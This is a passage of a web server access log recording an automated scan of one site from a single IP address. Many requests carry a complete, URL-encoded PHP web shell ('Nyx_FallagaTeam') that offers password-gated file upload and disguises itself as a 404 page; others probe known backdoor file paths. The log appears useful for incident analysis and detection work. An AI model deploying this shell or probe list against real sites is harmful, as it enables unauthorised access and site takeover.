/wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:21 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:21 +0530] "GET /templates/beez3/index.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:21 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:21 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /mrjn.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /wp-admin/includes/readindex.php HTTP/1.1" 302 251 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /wp-content/fw.php HTTP/1.1" 302 237 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 302 271 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /administrator/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 266 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /wp-content/plugins/wp-file-upload/ROOBOTS.php HTTP/1.1" 302 265 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /test/wp-content/themes/seotheme/mar.php HTTP/1.1" 302 259 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:22 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:23 +0530] "GET /wp-admin/style.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 